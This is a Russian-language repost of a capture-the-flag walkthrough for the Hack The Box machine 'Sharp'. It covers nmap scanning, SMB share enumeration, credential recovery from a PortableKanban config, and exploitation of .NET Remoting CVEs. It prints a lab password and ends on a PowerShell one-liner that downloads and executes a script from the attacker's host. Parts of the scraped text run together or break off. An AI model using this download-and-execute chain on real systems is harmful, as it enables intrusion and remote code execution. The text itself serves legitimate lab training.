Категория > Новости > HTB Sharp. Потрошим сервис на .NET через .NET Remoting Services - «Новости»
HTB Sharp. Потрошим сервис на .NET через .NET Remoting Services - «Новости»12-05-2021, 00:00. Автор: Osborne |
Hack The Box. Ее заявленный уровень сложности — Hard, поэтому будет интересно!warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовАдрес нашей машины — 10.10.10.219, закидывай его в
10.10.10.219 sharp.htb
Первый шаг любой атаки — сканирование портов. Я обычно выполняю его вот таким небольшим скриптом. Он делает два прохода: сначала по всем портам, затем с использованием скриптов (опция ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Результат работы скриптаКак это обычно бывает на машинах с Windows, в результате сканирования имеем много открытых портов:
Как видишь, здесь нет веб‑сервера или каких‑то других сервисов, которые бы предоставляли широкое поле для проверок и поиска учетных данных. А значит, у нас всего два дальнейших вектора: тест без учетных данных (через анонимный доступ) и, если ничего не получится, брутфорс учетки. Перебор SMBПервым делом проверяем, что можно найти на шаре SMB. Находим общую директорию
smbmap -H sharp.htb
Проверка анонимного доступа
smbmap -Hsharp.htb -R kanban
Получение содержимого общего ресурса kanbanФайлов очень много, и удобнее анализировать их локально, поэтому я подключился к общему ресурсу через проводник и скопировал все содержимое каталога на локальный хост. Похоже, перед нами какое‑то приложение для Windows. Среди файлов нашлось руководство пользователя, это нам на руку. А в файле
cat PortableKanban.pk3 | jq
Учетные данные в файле конфигураций Точка входаПерейдем на машину с Windows (я обычно работаю в Linux) и посмотрим, что нам даст запуск приложения. Первым делом оно нас проинформирует, что по умолчанию пароль для администратора пустой. Сообщение Portable Kanban Тут пришла идея изменить сами файлы конфигурации программы, так как цифровая подпись отсутствует и приложение не сможет проверить целостность содержащихся в конфиге данных. Сохраним файлы конфигурации перед их изменением. Файлы конфигурации, подлежащие копированию Сначала удалим файл с разрешением Файл конфигурации с пустым паролемГлавное окно приложения Portable Kanban Стоит хорошенько изучить приложение, так как в нем могут найтись записи с критическими данными или еще какая‑нибудь полезная информация. К примеру, перейдя в настройки, мы видим список всех зарегистрированных в программе пользователей (те же, что и в конфиге). Что еще более важно, мы можем посмотреть пароль в открытом виде, просто сняв галочку. Пустое поле пароля у администратора свидетельствует о том, что это расшифрованный пароль из конфига. Так мы узнаем пароль пользователя lars. Пароль пользователя lars Получается, мы можем расшифровать пароли из конфига. Давай восстановим и пароль админа — он еще может пригодиться. Восстанавливаем сохраненные конфиги и меняем роль (ключ Файл конфигурации с измененной ролью пользователяПароль пользователя Administrator Теперь у нас уже есть кое‑какие учетные данные, и мы можем попробовать подключиться к известным нам службам. Снова начинаем с SMB и узнаем, что от имени пользователя lars нам доступна новая директория —
smbmap -Hsharp.htb -ulars -p 'G123HHrth234gRG'
Проверка доступа от имени пользователя lars
smbmap -Hsharp.htb -ulars -p 'G123HHrth234gRG' -R dev
Получение содержимого общего ресурса devВ найденной директории видим записку и три исполняемых файла, один из которых — библиотека с говорящим названием Результат работы скрипта Подобные упоминания очень полезны, так как теперь мы знаем, что ввод не фильтруется, и в этом заключается дальнейший вектор атаки. Что очень важно, приложение написано на C#, поэтому переносим файлы на машину с Windows и декомпилируем с помощью dnSpy, начиная, конечно же, с клиента. Как видно в строке 15 декомпилированного кода, приложение отвечает на порте 8888. А строки 16 и 17 содержат учетные данные для подключения, которое обеспечивается за счет использования Результат декомпиляции приложения Client.exe У меня уже был подобный опыт, поэтому я догадывался, какую уязвимость придется эксплуатировать. Речь о багах CVE-2014-1806 (недостаточное ограничение на доступ к памяти) и CVE-2014-4149 (отсутствие проверки TypeFilterLevel). В эксплуатации нам поможет эксплоит Джеймса Форшоу. ЗакреплениеПриступим к эксплуатации. Сначала сгенерируем нагрузку‑дроппер, которая будет выполнять основную нагрузку. В качестве нагрузки дроппера используем однострочник на PowerShell, который загрузит c нашего хоста код на PowerShell и выполнит его.
IEX(new-objectnet.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')
Перейти обратно к новости |